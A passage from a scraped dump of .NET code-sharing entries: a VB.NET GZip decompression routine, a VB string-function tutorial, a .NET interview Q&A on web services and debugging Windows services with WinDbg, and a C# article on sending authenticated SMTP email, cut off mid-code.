Nothing\n Dim quartetBuffer As Byte() = Nothing\n Try\n ' Read in the compressed source stream\n sourceStream = New FileStream(sourceFile, FileMode.Open)\n ' Create a compression stream pointing to the destiantion stream\n decompressedStream = New GZipStream(sourceStream, CompressionMode.Decompress, True)\n ' Read the footer to determine the length of the destiantion file\n quartetBuffer = New Byte(4) {}\n Dim position As Integer = CType(sourceStream.Length, Integer) - 4\n sourceStream.Position = position\n sourceStream.Read(quartetBuffer, 0, 4)\n sourceStream.Position = 0\n Dim checkLength As Integer = BitConverter.ToInt32(quartetBuffer, 0)\n Dim buffer(checkLength + 100) As Byte\n Dim offset As Integer = 0\n Dim total As Integer = 0\n ' Read the compressed data into the buffer\n While True\n Dim bytesRead As Integer = decompressedStream.Read(buffer, offset, 100)\n If bytesRead = 0 Then\n Exit While\n End If\n offset += bytesRead\n total += bytesRead\n End While\n ' Now write everything to the destination file\n destinationStream = New FileStream(destinationFile, FileMode.Create)\n destinationStream.Write(buffer, 0, total)\n ' and flush everyhting to clean out the buffer\n destinationStream.Flush()\n Catch ex As ApplicationException\n MessageBox.Show(ex.Message, \"An Error occured during compression\", MessageBoxButtons.OK, MessageBoxIcon.Error)\n Finally\n ' Make sure we allways close all streams\n If Not (sourceStream Is Nothing) Then\n sourceStream.Close()\n End If\n If Not (decompressedStream Is Nothing) Then\n decompressedStream.Close()\n End If\n If Not (destinationStream Is Nothing) Then\n destinationStream.Close()\n End If\n End Try\n End Sub\nEnd Class\n"},{"WorldId":10,"id":3827,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5204,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":2161,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5918,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5954,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3952,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5006,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5198,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5383,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4528,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4372,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4482,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4772,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5912,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5955,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":7780,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":6980,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5827,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":6090,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":6030,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3701,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5969,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5084,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4609,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4654,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4710,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4249,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":6064,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":7640,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4269,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":6401,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5939,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5714,"LineNumber":1,"line":"\ndim g as graphics\ng = Object.Creategraphics\n'eg g.drawETC.,\n'this code make the conbtrol fully or semi transparent\nControl.backcolor = color.fromarg(65,0,0,0)"},{"WorldId":10,"id":4525,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4509,"LineNumber":1,"line":"Complete String Manipulation \nAsc(), AscW(), Chr(), ChrW(), Filter(),\nInStr(), InStrRev(), Join(), LCase(),\nLeft(), Len(), LTrim(), Mid(), Mid, \nReplace(), Right(), RTrim(), Space(),\nSplit(), StrComp(), StrConv(), StrDup(), StrReverse(), Trim(), UCase()\n-------------------------------------------------\nAsc(character), AscW(string)\nThe Asc() function returns the character\ncode corresponding to the character argument\nThe AscW() function returns the Unicode character \ncode except on platforms that do not support\nUnicode.\nex. Output = Asc(W)(MysingleString) MysingleString = w output =119\n_________________________________________________\nChr(Value as Integer)\nThe Chr() function is the inverse of the Asc() function and returns the character associated \nwith the specified character code. Use this function to print characters that donΓÇÖt appear \non the keyboard (such as line feeds or special symbols).\nThe ChrW() function returns a string containing the Unicode character except on platforms that donΓÇÖt support Unicode, in which case, the behavior is identical to that of the Chr() function.\nex. Output = Chr(W)(MySingleString) MysingleString = 119 output =w\n_________________________________________________\nFilter(inputStrings, value[, include][, compare])\n \nThis function returns an array containing part of a string array\nex.\n Dim intRecCnt As Integer\n Dim intCntr As Integer\n Dim selNames() As String\n Dim Names() As String _ = \"Dennis\", \"Manjon\", \"Santiago\"}\n \n 'Create the Filtered array from the Full array\n selNames = Filter(Names, MyInputString)\n 'Determine the number of elements in the array\n intRecCnt = UBound(selNames)\n 'Add Elements to ListBox for each element\n 'in the array\n For intCntr = 0 To intRecCnt\n LBOutput.Items.Add(selNames(intCntr))\n Next intCntr\nMyInputString =\"Dennis\" \nthe Output get the Location = 1\n________________________________________________\nInStr([startPos,] string1, string2[, compare])\nInStrRev(string1, string2[, start][, compare]) #\nInStr(InputString1, _ InputString2,CompareMethod.Text)\nI choice CompareMethod.Text, if the the Input string is equal then it return 1 else 0 \n__________________________________________________\nJoin(list[, delimiter])\nDim ArrayList() As String = {\"Dennis\", \"Santiago\"}\ntxtOutPut.Text = \"The output is : \" & Join(ArrayList, MyJoinString)\nMyJoinString \" Manjon \" Output Dennis manjon Santiago\n__________________________________________________\nLCase(String) convert to lowercase\nex. lCase(D) output = d\n__________________________________________________\nLeft(string, Length)\nOutput = Left(\"Dennis\",2) = \"De\"\n__________________________________________________\nlen(String) \nlen(Dennis) \n Output =6\n_________________________________________________\nLTrim(string) LTrim() RemoveSpace from left until not found Character\n output = L Trim(\" Dennis \")\nResult= \"Dennis \"\n__________________________________________________\nMid(string, start, [length])\nStr = Mid(\"Dennis\",2 ,\"3\")\nOutput = enn\n_________________________________________________\nReplace(expression, find, replacewith[, start][, count][, compare])\nReplace(\"Dennis Santiago\", \"Dennis\", \"Den\")\nOutput = Den Santiago\n_________________________________________________\nRight(String,Length)\nOutput = Right(\"Dennis\",3)\noutput =nis\n_________________________________________________\nRTrim(string) Remove space from the rightside\nOutput = Rtrim(\"Dennis \")\noutput=\"Dennis\"\n__________________________________________________\nSpace(number)\nSpace(3) \nmake 3 space\n_________________________________________________\nSplit(expression[, delimiter][, count][, compare])\n This function is the counterpart of the Join() function. It returns a one-dimensional array containing a number of substrings.\nSplit(\"Dennis Santiago\",\"Den\" , 2)\nOutput = Nis Santiago\n__________________________________________________\nStrComp(string1, string2[, compare])\nValue Description\nΓÇô1 string1 is less than string2.\n 0 string1 is equal to string2.\n 1 string1 is greater than string2.\nStrComp(\"Dennis\", \"Santiago\")\noutput = -1\n_________________________________________________\nStrConv(string, conversion)\nenter a Number on Conversion 1 to 9 For String Format\nStrConv(\"Dennis\", 1)\nOutput = DENNIS\n__________________________________________________\nStrDup(number, character)\nThis function returns a string of number \ncharacters, all of which are character\nStrDup(3, \"d\")\nOutput = DDD\n_________________________________________________\nStrReverse(string)\noutput = StrReverse(\"Dennis\")\nOutput =sinneD\n_________________________________________________\nTrim(String) \nRemove all Space on String both left and right\nOutput = Trim(\" Dennis \")\noutput = \"Dennis\"\n_________________________________________________\nUCase(string) \nConvert to uppercase\nOutput =UCase(\"Dennis\")\nOutput = DENNIS\n_________________________________________________\nBy: Dennis M. Santiago :Email Add Explicitmaker@yahoo.com--- don't forget to VOTE for me |-:) Thanks"},{"WorldId":10,"id":3387,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4375,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3591,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1062,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4994,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4523,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4522,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":6073,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":7117,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5169,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5219,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3984,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5892,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3631,"LineNumber":1,"line":"\n<table border=\"1\" width=\"100%\" bgcolor=\"#C0C0C0\" bordercolor=\"#000080\" height=\"4991\">\n <tr>\n <td width=\"100%\" bgcolor=\"#FF9933\" height=\"1\">What is\n WSDL \n WSDL is the Web Service Description Language, and it is implemented as a\n specific XML vocabulary. While it's very much more complex than what can\n be described here, there are two important aspects to WSDL with which you\n should be aware. First, WSDL provides instructions to consumers of Web\n Services to describe the layout and contents of the SOAP packets the Web\n Service intends to issue. It's an interface description document, of\n sorts. And second, it isn't intended that you read and interpret the WSDL.\n Rather, WSDL should be processed by machine, typically to generate proxy\n source code (.NET) or create dynamic proxies on the fly (the SOAP Toolkit\n or Web Service Behavior). \n \n \n 2.What is a Windows Service and how does its lifecycle differ from a\n \"standard\" EXE? \n \n Windows service is a application that runs in the background. It is\n equivalent to a NT service. The executable created is not a Windows\n application, and hence you can't just click and run it . it needs to be\n installed as a service, VB.Net has a facility where we can add an\n installer to our program and then use a utility to install the service.\n Where as this is not the case with standard exe \n \n How can a win service developed in .NET be installed or used in Win98? \n Windows service cannot be installed on Win9x machines even though the .NET\n framework runs on machine.\n <blockquote>\n Can you debug a\n Windows Service? How ? \n Yes we can debug a Windows Service. \n Attach the WinDbg debugger to a service after the service starts \n This method is similar to the method that you can use to attach a\n debugger to a process and then debug a process. \n Use the process ID of the process that hosts the service that you want\n to debug \n 1 To determine the process ID (PID) of the process that hosts the\n service that you want to debug, use one of the following methods. \n ΓÇó Method 1: Use the Task Manager \n a. Right-click the taskbar, and then click Task Manager. The Windows\n Task Manager dialog box appears. \n b. Click the Processes tab of the Windows Task Manager dialog box. \n c. Under Image Name, click the image name of the process that hosts the\n service that you want to debug. Note the process ID of this process as\n specified by the value of the corresponding PID field. \n ΓÇó Method 2: Use the Task List Utility (tlist.exe) \n a. Click Start, and then click Run. The Run dialog box appears. \n b. In the Open box, type cmd, and then click OK. \n c. At the command prompt, change the directory path to reflect the\n location of the tlist.exe file on your computer. \n \n Note The tlist.exe file is typically located in the following directory:\n C:\\Program Files\\Debugging Tools for Windows \n d. At the command prompt, type tlist to list the image names and the\n process IDs of all processes that are currently running on your\n computer. \n \n Note Make a note of the process ID of the process that hosts the service\n that you want to debug. \n 2 At a command prompt, change the directory path to reflect the location\n of the windbg.exe file on your computer. \n \n Note If a command prompt is not open, follow steps a and b of Method 1.\n The windbg.exe file is typically located in the following directory:\n C:\\Program Files\\Debugging Tools for Windows. \n 3 At the command prompt, type windbg ΓÇôp ProcessID to attach the WinDbg\n debugger to the process that hosts the service that you want to debug. \n \n Note ProcessID is a placeholder for the process ID of the process that\n hosts the service that you want to debug. \n \n Use the image name of the process that hosts the service that you want\n to debug \n \n You can use this method only if there is exactly one running instance of\n the process that hosts the service that you want to run. To do this,\n follow these steps: \n 1 Click Start, and then click Run. The Run dialog box appears. \n 2 In the Open box, type cmd, and then click OK to open a command prompt.\n \n 3 At the command prompt, change the directory path to reflect the\n location of the windbg.exe file on your computer. \n \n Note The windbg.exe file is typically located in the following\n directory: C:\\Program Files\\Debugging Tools for Windows. \n 4 At the command prompt, type windbg ΓÇôpn ImageName to attach the\n WinDbg debugger to the process that hosts the service that you want to\n debug. \n \n NoteImageName is a placeholder for the image name of the process that\n hosts the service that you want to debug. The "-pn"\n command-line option specifies that the ImageName command-line argument\n is the image name of a process. \n back to the top \n Start the WinDbg debugger and attach to the process that hosts the\n service that you want to debug \n \n 1 Start Windows Explorer. \n 2 Locate the windbg.exe file on your computer. \n \n Note The windbg.exe file is typically located in the following\n directory: C:\\Program Files\\Debugging Tools for Windows \n 3 Run the windbg.exe file to start the WinDbg debugger. \n 4 On the File menu, click Attach to a Process to display the Attach to\n Process dialog box. \n 5 Click to select the node that corresponds to the process that hosts\n the service that you want to debug, and then click OK. \n 6 In the dialog box that appears, click Yes to save base workspace\n information. Notice that you can now debug the disassembled code of your\n service. \n Configure a service to start with the WinDbg debugger attached \n You can use this method to debug services if you want to troubleshoot\n service-startup-related problems. \n 1 Configure the \"Image File Execution\" options. To do this,\n use one of the following methods: \n ΓÇó Method 1: Use the\n Global Flags Editor (gflags.exe) \n a. Start Windows Explorer. \n b. Locate the gflags.exe file on your computer. \n \n Note The gflags.exe file is typically located in the following\n directory: C:\\Program Files\\Debugging Tools for Windows. \n c. Run the gflags.exe file to start the Global Flags Editor. \n d. In the Image File Name text box, type the image name of the process\n that hosts the service that you want to debug. For example, if you want\n to debug a service that is hosted by a process that has MyService.exe as\n the image name, type MyService.exe. \n e. Under Destination, click to select the Image File Options option. \n f. Under Image Debugger Options, click to select the Debugger check box. \n g. In the Debugger text box, type the full path of the debugger that you\n want to use. For example, if you want to use the WinDbg debugger to\n debug a service, you can type a full path that is similar to the\n following: C:\\Program Files\\Debugging Tools for Windows\\windbg.exe \n h. Click Apply, and then click OK to quit the Global Flags Editor. \n ΓÇó Method 2: Use Registry Editor \n a. Click Start, and then click Run. The Run dialog box appears. \n b. In the Open box, type regedit, and then click OK to start Registry\n Editor. \n c. Warning If you use Registry Editor incorrectly, you may cause serious\n problems that may require you to reinstall your operating system.\n Microsoft cannot guarantee that you can solve problems that result from\n using Registry Editor incorrectly. Use Registry Editor at your own risk.\n </blockquote>\n \n In Registry Editor, locate, and then right-click the following registry\n subkey: \n HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File\n Execution Options \n d. Point to New, and then click Key. In the left pane of Registry Editor,\n notice that New Key #1 (the name of a new registry subkey) is selected for\n editing. \n e. Type ImageName to replace New Key #1, and then press ENTER. \n \n Note ImageName is a placeholder for the image name of the process that\n hosts the service that you want to debug. For example, if you want to\n debug a service that is hosted by a process that has MyService.exe as the\n image name, type MyService.exe. \n f. Right-click the registry subkey that you created in step e. \n g. Point to New, and then click String Value. In the right pane of\n Registry Editor, notice that New Value #1, the name of a new registry\n entry, is selected for editing. \n h. Replace New Value #1 with Debugger, and then press ENTER. \n i. Right-click the Debugger registry entry that you created in step h, and\n then click Modify. The Edit String dialog box appears. \n j. In the Value data text box, type DebuggerPath, and then click OK. \n \n Note DebuggerPath is a placeholder for the full path of the debugger that\n you want to use. For example, if you want to use the WinDbg debugger to\n debug a service, you can type a full path that is similar to the\n following: C:\\Program Files\\Debugging Tools for Windows\\windbg.exe \n 2 For the debugger window to appear on your desktop, and to interact with\n the debugger, make your service interactive. If you do not make your\n service interactive, the debugger will start but you cannot see it and you\n cannot issue commands. To make your service interactive, use one of the\n following methods: \n ΓÇó Method 1: Use the Services console \n a. Click Start, and then point to Programs. \n b. On the Programs menu, point to Administrative Tools, and then click\n Services. The Services console appears. \n c. In the right pane of the Services console, right-click ServiceName, and\n then click Properties. \n \n Note ServiceName is a placeholder for the name of the service that you\n want to debug. \n d. On the Log On tab, click to select the Allow service to interact with\n desktop check box under Local System account, and then click OK. \n ΓÇó Method 2: Use Registry Editor \n a. In Registry Editor, locate, and then click the following registry subkey: \n HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\ServiceName \n Note Replace ServiceName with the name of the service that you want to\n debug. For example, if you want to debug a service named MyService, locate\n and then click the following registry key: \n HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\MyService \n b. Under the Name field in the right pane of Registry Editor, right-click\n Type, and then click Modify. The Edit DWORD Value dialog box appears. \n c. Change the text in the Value data text box to the result of the binary\n OR operation with the binary value of the current text and the binary\n value, 0x00000100, as the two operands. The binary value, 0x00000100,\n corresponds to the SERVICE_INTERACTIVE_PROCESS constant that is defined in\n the WinNT.h header file on your computer. This constant specifies that a\n service is interactive in nature. \n 3 When a service starts, the service communicates to the Service Control\n Manager how long the service must have to start (the time-out period for\n the service). If the Service Control Manager does not receive a\n \"service started\" notice from the service within this time-out\n period, the Service Control Manager terminates the process that hosts the\n service. This time-out period is typically less than 30 seconds. If you do\n not adjust this time-out period, the Service Control Manager ends the\n process and the attached debugger while you are trying to debug. To adjust\n this time-out period, follow these steps: \n a. In Registry Editor, locate, and then right-click the following registry\n subkey: \n HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control \n b. Point to New, and then click DWORD Value. In the right pane of Registry\n Editor, notice that New Value #1 (the name of a new registry entry) is\n selected for editing. \n c. Type ServicesPipeTimeout to replace New Value #1, and then press ENTER.\n \n d. Right-click the ServicesPipeTimeout registry entry that you created in\n step c, and then click Modify. The Edit DWORD Value dialog box appears. \n e. In the Value data text box, type TimeoutPeriod, and then click OK \n \n Note TimeoutPeriod is a placeholder for the value of the time-out period\n (in milliseconds) that you want to set for the service. For example, if\n you want to set the time-out period to 24 hours (86400000 milliseconds),\n type 86400000. \n f. Restart the computer. You must restart the computer for Service Control\n Manager to apply this change. \n 4 Start your Windows service. To do this, follow these steps: \n a. Click Start, and then point to Programs. \n b. On the Programs menu, point to Administrative Tools, and then click\n Services. The Services console appears. \n c. In the right pane of the Services console, right-click ServiceName, and\n then click Start. \n \n Note ServiceName is a placeholder for the name of the service that you\n want to debug. \n </td>\n </tr>\n <tr>\n <td width=\"100%\" bgcolor=\"#FFFFFF\" height=\"68\">Can you give an example of when it would be appropriate to use a web\n service as opposed to non-serviced .NET component \n Web service is one of main component in Service Oriented Architecture. You\n could use web services when your clients and servers are running on\n different networks and also different platforms. This provides a loosely\n coupled system. And also if the client is behind the firewall it would be\n easy to use web service since it runs on port 80 (by default) instead of\n having some thing else in Service Oriented Architecture applications. \n What is the standard you use to wrap up a call to a Web service \n \"SOAP. \n \" \n What is the transport protocol you use to call a Web service SOAP \n HTTP with SOAP \n \n What does WSDL stand for? \n "WSDL stands for Web Services Dsescription Langauge. There is\n WSDL.exe that creates a .wsdl Files which defines how an XML Web service\n behaves and instructs clients as to how to interact with the service. \n eg: wsdl http://LocalHost/WebServiceName.asmx" \n \n Where on the Internet would you look for Web Services? \n www.uddi.org\n \n \n What does WSDL stand for? \n Web Services Description Language \n \n True or False: To test a Web service you must create a windows\n application or Web application to consume this service? \n False. \n \n What are the various ways of accessing a web service ? \n 1.Asynchronous Call \n Application can make a call to the Webservice and then continue todo\n watever oit wants to do.When the service is ready it will notify the\n application.Application can use BEGIN and END method to make asynchronous\n call to the webmethod.We can use either a WaitHandle or a Delegate object\n when making asynchronous call. \n The WaitHandle class share resources between several objects. It provides\n several methods which will wait for the resources to become available \n The easiest and most powerful way to to implement an asynchronous call is\n using a delegate object. A delegate object wraps up a callback function.\n The idea is to pass a method in the invocation of the web method. When the\n webmethod has finished it will call this callback function to process the\n result \n \n 2.Synchronous Call \n Application has to wait until execution has completed. \n \n \n \n What are VSDISCO files? \n VSDISCO files are DISCO files that support dynamic discovery of Web\n services. If you place the following VSDISCO file in a directory on your\n Web server, for example, it returns references to all ASMX and DISCO files\n in the host directory and any subdirectories not noted in\n <EXCLUDE>elements: \n \n <DYNAMICDISCOVERY \n xmlns="urn:schemas-dynamicdiscovery:disco.2000-03-17"> \n <EXCLUDE path=\"_vti_script\" />\n \n How does dynamic discovery work? \n ASP.NET maps the file name extension VSDISCO to an HTTP handler that scans\n the host directory and subdirectories for ASMX and DISCO files and returns\n a dynamically generated DISCO document. A client who requests a VSDISCO\n file gets back what appears to be a static DISCO document. \n \n Note that VSDISCO files are disabled in the release version of ASP.NET.\n You can reenable them by uncommenting the line in the <HTTPHANDLERS>section\n of Machine.config that maps *.vsdisco to\n System.Web.Services.Discovery.DiscoveryRequestHandler and granting the\n ASPNET user account permission to read the IIS metabase. However,\n Microsoft is actively discouraging the use of VSDISCO files because they\n could represent a threat to Web server security. \n \n Is it possible to prevent a browser from caching an ASPX page? \n Just call SetNoStore on the HttpCachePolicy object exposed through the\n Response object's Cache property, as demonstrated here: \n \n \n SetNoStore works by returning a Cache-Control: private, no-store header in\n the HTTP response. In this example, it prevents caching of a Web page that\n shows the current time. \n \n What does AspCompat=\"true\" mean and when should I use it? \n AspCompat is an aid in migrating ASP pages to ASPX pages. It defaults\n to false but should be set to true in any ASPX file that creates\n apartment-threaded COM objects--that is, COM objects registered\n ThreadingModel=Apartment. That includes all COM objects written with\n Visual Basic 6.0. AspCompat should also be set to true (regardless of\n threading model) if the page creates COM objects that access intrinsic ASP\n objects such as Request and Response. The following directive sets\n AspCompat to true: \n <%@ Page AspCompat=\"true\" %> \n Setting AspCompat to true does two things. First, it makes intrinsic ASP\n objects available to the COM components by placing unmanaged wrappers\n around the equivalent ASP.NET objects. Second, it improves the performance\n of calls that the page places to apartment- threaded COM objects by\n ensuring that the page (actually, the thread that processes the request\n for the page) and the COM objects it creates share an apartment. AspCompat="true"\n forces ASP.NET request threads into single-threaded apartments (STAs). If\n those threads create COM objects marked ThreadingModel=Apartment, then the\n objects are created in the same STAs as the threads that created them.\n Without AspCompat="true," request threads run in a multithreaded\n apartment (MTA) and each call to an STA-based COM object incurs a\n performance hit when it's marshaled across apartment boundaries. \n Do not set AspCompat to true if your page uses no COM objects or if it\n uses COM objects that don't access ASP intrinsic objects and that are\n registered ThreadingModel=Free or ThreadingModel=Both.\n </td>\n </tr>\n <tr>\n <td width=\"100%\" bgcolor=\"#33CC33\" height=\"68\">\n Can two different programming languages be mixed in a single ASMX file?\n \n No. \n \n What namespaces are imported by default in ASMX files? \n The following namespaces are imported by default. Other namespaces must be\n imported manually.┬╖ System,\n System.Collections,System.ComponentModel,System.Data,\n System.Diagnostics,System.Web,System.Web.Services \n How do I provide information to the Web Service when the information is\n required as a SOAP Header? \n The key here is the Web Service proxy you created using wsdl.exe or\n through Visual Studio .NET's Add Web Reference menu option. If you happen\n to download a WSDL file for a Web Service that requires a SOAP header,\n .NET will create a SoapHeader class in the proxy source file. Using the\n previous example: \n public class Service1 :\n System.Web.Services.Protocols.SoapHttpClientProtocol \n { \n public AuthToken AuthTokenValue; \n \n [System.Xml.Serialization.XmlRootAttribute(Namespace="http://tempuri.org/",\n IsNullable=false)] \n public class AuthToken : SoapHeader { public string Token; }} \n \n In this case, when you create an instance of the proxy in your main\n application file, you'll also create an instance of the AuthToken class\n and assign the string: \n Service1 objSvc = new Service1(); \n processingobjSvc.AuthTokenValue = new AuthToken(); \n objSvc.AuthTokenValue.Token = <ACTUAL token value>; \n Web Servicestring strResult = objSvc.MyBillableWebMethod(); \n </td>\n </tr>\n</table>\n"},{"WorldId":10,"id":7328,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":6827,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3563,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3648,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5854,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4672,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4550,"LineNumber":1,"line":"<H2>Introduction</H2>\n\n\tSystem.Web.Mail can be used to send emails from .NET 1.1 applications. Sending \n\t\tsimple emails is very easy. More complicated is when you try to send emails \n\t\tusing a SMTP server that requires authentication or even when you just need to \n\t\tformat the From Name of the email you want to send.\n\n<H2>Background</H2>\n\n\tHere is the most simple piece of code that will send an email using C#:\n\n<PRE lang=\"cs\">// build the email message\nMailMessage msg = new MailMessage();\nmsg.From = \"from.email@domain.com\";\nmsg.To = \"to.email@domain.com\";\nmsg.Subject = \"Subject\";\nmsg.Body = \"Body\";\n// send the message\nSmtpMail.SmtpServer = \"smtp.server.com\";\nSmtpMail.Send(msg);\n \n</PRE>\n<H2>Problems and the immediate solution</H2>\nThings need to get more complicated if instead of displaying the from email \n\taddress, you want to display a name that the recipient of the email will see. \n\tFor that, a custom header needs to be added:\n<PRE lang=\"cs\">string sFromName = \"From display name\";\nstring sFromAddress = \"from.email@domain.com\";\nmsg.Headers.Add(\"From\", string.Format(\"{0} <{1}>\", sFromName, sFromAddress));\n</PRE>\nEven more complicated will be to send an email using a SMTP server that requires \n\tauthentication. For that, the Fields collection of the MailMessage object needs \n\tto be used. Here is the sample piece of code that will help you solve your \n\tproblems:\n<PRE lang=\"cs\">// set SMTP server name\nmsg.Fields[\"http://schemas.microsoft.com/cdo/configuration/smtpserver\"] = \"smtp.server.com\";\n// set SMTP server port\nmsg.Fields[\"http://schemas.microsoft.com/cdo/configuration/smtpserverport\"] = 25;\nmsg.Fields[\"http://schemas.microsoft.com/cdo/configuration/sendusing\"] = 2;\nmsg.Fields[\"http://schemas.microsoft.com/cdo/configuration/smtpauthenticate\"] = 1;\n// set SMTP username\nmsg.Fields[\"http://schemas.microsoft.com/cdo/configuration/sendusername\"] = \"username\";\n// set SMTP user password\nmsg.Fields[\"http://schemas.microsoft.com/cdo/configuration/sendpassword\"] = \"password\";\n</PRE>\n<H2>The better solution</H2>\nA better solution for the enhancements described above would be to create a new \n\tclass that is inherited from MailMessage and has the extra features. Here is \n\tthe content of the new class:\n\n<PRE lang=\"cs\">\n/// <summary>\n/// EnhancedMailMessage is a class that provides more features for email sending in .NET\n/// </summary>\npublic class EnhancedMailMessage : MailMessage\n{\n\tprivate string fromName;\n\tprivate string smtpServerName;\n\tprivate string smtpUserName;\n\tprivate string smtpUserPassword;\n\tprivate int smtpServerPort;\n\tpublic EnhancedMailMessage()\n\t{\n\t\tfromName = string.Empty;\n\t\tsmtpServerName = string.Empty;\n\t\tsmtpUserName = string.Empty;\n\t\tsmtpUserPassword = string.Empty;\n\t\tsmtpServerPort = 25;\n\t}\n\t/// <summary>\n\t/// The display name that will appear in the recipient mail client\n\t/// </summary>\n\tpublic string FromName \n\t{\n\t\tset \n\t\t{\n\t\t\tfromName = value;\n\t\t}\n\t\tget \n\t\t{\n\t\t\treturn fromName;\n\t\t}\n\t}\n\t/// <summary>\n\t/// SMTP server (name or IP address)\n\t/// </summary>\n\tpublic string SMTPServerName \n\t{\n\t\tset \n\t\t{\n\t\t\tsmtpServerName = value;\n\t\t}\n\t\tget \n\t\t{\n\t\t\treturn smtpServerName;\n\t\t}\n\t}\n\t/// <summary>\n\t/// Username needed for a SMTP server that requires authentication\n\t/// </summary>\n\tpublic string SMTPUserName \n\t{\n\t\tset \n\t\t{\n\t\t\tsmtpUserName = value;\n\t\t}\n\t\tget \n\t\t{\n\t\t\treturn smtpUserName;\n\t\t}\n\t}\n\t\n\t/// <summary>\n\t/// Password needed for a SMTP server that requires authentication\n\t/// </summary>\n\tpublic string SMTPUserPassword \n\t{\n\t\tset \n\t\t{\n\t\t\tsmtpUserPassword = value;\n\t\t}\n\t\tget \n\t\t{\n\t\t\treturn smtpUserPassword;\n\t\t}\n\t}\n\t\n\t/// <summary>\n\t/// SMTP server port (default 25)\n\t/// </summary>\n\tpublic int SMTPServerPort \n\t{\n\t\tset \n\t\t{\n\t\t\tsmtpServerPort = value;\n\t\t}\n\t\tget \n\t\t{\n\t\t\treturn smtpServerPort;\n\t\t}\n\t}\n\t\n\tpublic void Send() \n\t{\n\t\tif (smtpServerName.Length == 0) \n\t\t{\n\t\t\tthrow new Exception(\"SMTP Server not specified\");\n\t\t}\n\t\tif (fromName.Length > 0) \n\t\t{\n\t\t\tthis.Headers.Add(\"From\", string.Format(\"{0} <{1}>\", FromName, From));\t\t\t\n\t\t}\n\t\t// set SMTP server name\n\t\tthis.Fields[\"http://schemas.microsoft.com/cdo/configuration/smtpserver\"] = smtpServerName;\n\t\t// set SMTP server port\n\t\tthis.Fields[\"http://schemas.microsoft.com/cdo/configuration/smtpserverport\"] = smtpServerPort;\n\t\tthis.Fields[\"http://schemas.microsoft.com/cdo/configuration/sendusing\"] = 2;\n\t\tif (smtpUserName.Length >0 && smtpUserPassword.Length > 0) \n\t\t{\n\t\t\tthis.Fields[\"http://schemas.microsoft.com/cdo/configuration/smtpauthenticate\"] = 1;\n\t\t\t\n\t\t\t// set SMTP username\n\t\t\tthis.Fields[\"http://schemas.microsoft.com/cdo/configuration/sendusername\"] = smtpUserName;\n\t\t\t// set SMTP user password\n\t\t\tthis.Fields[\"http://schemas.microsoft.com/cdo/configuration/sendpassword\"] = smtpUserPassword;\n\t\t}\n\t\tSmtpMail.SmtpServer = smtpServerName;\n\t\tSmtpMail.Send(this);\n\t}\n\tpublic static void QuickSend(\n\t\tstring SMTPServerName, \n\t\tstring ToEmail, \n\t\tstring FromEmail, \n\t\tstring Subject, \n\t\tstring Body, \n\t\tMailFormat BodyFormat) \n\t{\n\t\tEnhancedMailMessage msg = new EnhancedMailMessage();\n\t\tmsg.From = FromEmail;\n\t\tmsg.To = ToEmail;\n\t\tmsg.Subject = Subject;\n\t\tmsg.Body = Body;\n\t\tmsg.BodyFormat = BodyFormat;\n\t\tmsg.SMTPServerName = SMTPServerName;\n\t\tmsg.Send();\n\t}\n}\n</PRE>\nAs you can see from the code above you can send emails using SMTP servers that \n\trequire authentication. Here is a sample usage code:\n<PRE lang=\"cs\">EnhancedMailMessage msg = new EnhancedMailMessage();\nmsg.From = \"from.email@domain.com\";\nmsg.FromName = \"From display name\";\nmsg.To = \"to.email@domain.com\";\nmsg.Subject = 